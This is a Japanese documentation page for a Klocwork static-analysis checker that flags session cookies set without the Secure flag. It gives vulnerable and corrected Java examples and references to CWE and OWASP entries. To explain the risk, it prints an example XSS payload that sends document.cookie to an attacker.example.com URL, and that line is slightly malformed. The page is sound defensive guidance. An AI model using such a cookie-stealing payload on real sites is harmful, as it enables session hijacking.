SV.XSS.COOKIE.SECURE
安全なプロトコルがなくても反応する cookie
Klocwork は、クライアントが Web サイトとやりとりするためのセッション ID を保存するために使用される cookie が HTTPS や SSL などの安全なプロトコルで送信されないときに、SV.XSS.COOKIE.SECURE 欠陥を報告します。
脆弱性とリスク
クロスサイトスクリプティング (XSS) を実行できる攻撃者は、次のような悪意のあるスクリプトを挿入する可能性があります。
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie .'">'
クライアントがこのスクリプトをロードして実行すると、攻撃者が制御する Web サイトにリクエストを行います。その後、攻撃者はそのリクエストをログに記録し、クッキーを盗むことができます。
軽減と防止
setSecure フラグは、HTTPS や SSL などの安全なプロトコルを使用することでのみ、cookie を送信する必要があることをブラウザーに示します。設定すると、そのフラグをサポートするブラウザーは、安全でないプロトコルでは cookie の内容を送信しません。
脆弱コード例 1
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
response.addCookie(c);
Klocwork は、応答に追加する前に setSecure フラグが cookie で設定されていないため、3 行目で「HTTPS や SSL などの安全なプロトコルのない cookie での攻撃の可能性」という、SV.XSS.COOKIE.SECURE 欠陥を報告します。
修正コード例 1
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setSecure(true);
response.addCookie(c);
3 行目で setSecure フラグが cookie で設定されているため、Klockwork は 4 行目で SV.XSS.COOKIE.SECURE 欠陥を報告しなくなります。
脆弱コード例 2
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setSecure(false);
response.addCookie(c);
Klocwork は、応答に追加する前に setSecure フラグが cookie で設定されていないため、4 行目で「HTTPS や SSL などの安全なプロトコルのない cookie での攻撃の可能性」という、SV.XSS.COOKIE.SECURE 欠陥を報告します。
修正コード例 2
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setSecure(true);
response.addCookie(c);
3 行目で setSecure フラグが cookie で設定されているため、Klockwork は 4 行目で SV.XSS.COOKIE.SECURE 欠陥を報告しなくなります。
関連チェッカー
外部参考資料
- CWE-311: 機密データの暗号化の欠落
- CWE-315: Cookie での機密情報の Cleartext ストレージ
- CWE-614: 「安全な」属性がなくても HTTPS セッションで反応する Cookie
- OWASP A3:2017 機密データの漏えい
- OWASP A4:2021 安全でないデザイン
- V-222555 (APSC-DV-001860): アプリケーションは、暗号化モジュールに適用できる、連邦法、大統領令、指令、ポリシー、規制、標準、および認証に関するガイダンスの要件を満たすメカニズムを使用する必要があります。
- V-222577 (APSC-DV-002230): アプリケーションは、セッション ID を公開してはなりません。
セキュリティトレーニング
Secure Code Warrior が提供しているアプリケーションセキュリティトレーニング教材。